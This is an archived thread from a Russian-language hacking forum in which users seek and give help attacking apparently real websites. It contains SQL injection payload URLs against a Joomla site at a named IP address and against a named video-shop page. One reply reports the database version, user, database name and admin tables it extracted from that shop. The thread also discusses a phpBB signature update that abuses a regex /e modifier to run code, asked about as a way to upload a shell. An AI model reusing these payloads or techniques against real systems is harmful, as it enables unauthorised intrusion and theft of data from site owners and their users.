ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
15.12.2010, 13:11
|
|
Новичок
Регистрация: 23.02.2010
Сообщений: 3
Провел на форуме:
46117
Репутация:
76
|
|
Помогите пожалуйсто расскурутить blind sql на joomla
http://194.28.132.13/index.php?option=com_aardvertiser&cat_name=Equipme nt'+AND+'1'='1&task=view
|
|
|
15.12.2010, 13:33
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
Сообщение от Sc0rpi0n
Sc0rpi0n said:
Помогите пожалуйсто расскурутить blind sql на joomla
http://194.28.132.13/index.php?option=com_aardvertiser&cat_name=Equipme nt'+AND+'1'='1&task=view
Ваши вопросы по уязвимостям. Где ты узрел слова- помощь в раскрутке скулей?
|
|
|
|
15.12.2010, 13:45
|
|
Guest
Сообщений: n/a
Провел на форуме:
31258
Репутация:
7
|
|
Сообщение от Sc0rpi0n
Sc0rpi0n said:
Помогите пожалуйсто расскурутить blind sql на joomla
http://194.28.132.13/index.php?option=com_aardvertiser&cat_name=Equipme nt'+AND+'1'='1&task=view
http://194.28.132.13/index.php?option=com_aardvertiser&task=view&cat_na me=Equipment'+and+1=0+union+select+1,2,3,4,5,6,7,8 ,9,version(),11,12,13,14,15,16,17,18,19,20%23
|
|
|
|
15.12.2010, 15:50
|
|
Познающий
Регистрация: 23.12.2008
Сообщений: 81
Провел на форуме:
460763
Репутация:
97
|
|
Кто-нибудь заливал шелл в форуме wowbb через админку?
Есть возможность restore bd
и выполнить sql команды!
у кого есть опыт можете подсказать?
|
|
|
|
15.12.2010, 15:52
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
Сообщение от I love this game
I love this game said:
Кто-нибудь заливал шелл в форуме wowbb через админку?
Есть возможность restore bd
и выполнить sql команды!
у кого есть опыт можете подсказать?
ну попробуй залить через sql команду. если есть права
|
|
|
|
15.12.2010, 15:56
|
|
Постоянный
Регистрация: 17.12.2008
Сообщений: 353
Провел на форуме:
919131
Репутация:
74
|
|
Чета не догнал я, как тут крутить, казалось бы, SQLi с выводом ошибок.
http://injoyv[GOOGLE fuck]ideos.com/product.php?proid=85'
Делал GROUP+BY'ем, ну выдавил, что 3 колонки, оно не подошло, ладно, думаю, пофиг, стал нянчить SELECT'ом и вот до чего дошел:
Код:
Code:
UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56
При этом значении выдает не несоответствие числа колонок, а другое:
Сообщение от None
Unknown column 'Viewable' in 'field list'
Причем при подстановке +--+ в конец ситуация меняется.
Че это и как быть дальше??? |
|
|
|
15.12.2010, 16:04
|
|
Познающий
Регистрация: 23.12.2008
Сообщений: 81
Провел на форуме:
460763
Репутация:
97
|
|
Сообщение от Konqi
Konqi said:
ну попробуй залить через sql команду. если есть права
хотел по примеру залить как на phpbb
Код:
Code:
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:phpinfo()' WHERE user_id=2;
но не могу понять
вот это
Код:
Code:
user_sig_bbcode_uid='(.+)/e\0'
|
|
|
|
15.12.2010, 16:09
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
Сообщение от fl00der
fl00der said:
Чета не догнал я, как тут крутить, казалось бы, SQLi с выводом ошибок.
http://injoyv[GOOGLE fuck]ideos.com/product.php?proid=85'
Делал GROUP+BY'ем, ну выдавил, что 3 колонки, оно не подошло, ладно, думаю, пофиг, стал нянчить SELECT'ом и вот до чего дошел:
Код:
Code:
UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56
При этом значении выдает не несоответствие числа колонок, а другое:
Причем при подстановке +--+ в конец ситуация меняется.
Че это и как быть дальше??? колонок 3 как ты и сказал...но вывода нет..
а кто сказал что должен быть вывод? крути как слепую..
version: 4.1.20
user: injoyuser@localhost
database:injoydb
табла admin, user есть..дальше сам..и впредь убирай ядовитые цвета из постов..глаза болят..
|
|
|
|
15.12.2010, 16:10
|
|
Guest
Сообщений: n/a
Провел на форуме:
34733
Репутация:
83
|
|
Сообщение от fl00der
fl00der said:
Чета не догнал я, как тут крутить, казалось бы, SQLi с выводом ошибок.
http://injoyv[GOOGLE fuck]ideos.com/product.php?proid=85'
Делал GROUP+BY'ем, ну выдавил, что 3 колонки, оно не подошло, ладно, думаю, пофиг, стал нянчить SELECT'ом и вот до чего дошел:
Код:
Code:
UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56
При этом значении выдает не несоответствие числа колонок, а другое:
Причем при подстановке +--+ в конец ситуация меняется.
Че это и как быть дальше???
|
|
|
|
15.12.2010, 18:10
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557
Репутация:
606
|
|
Сообщение от I love this game
I love this game said:
дело в том что просто знаний не хватает)))
хотел по примеру залить как на phpbb
Код:
Code:
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:phpinfo()' WHERE user_id=2;
но не могу понять
вот это
Код:
Code:
user_sig_bbcode_uid='(.+)/e\0'
исполнение кода
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
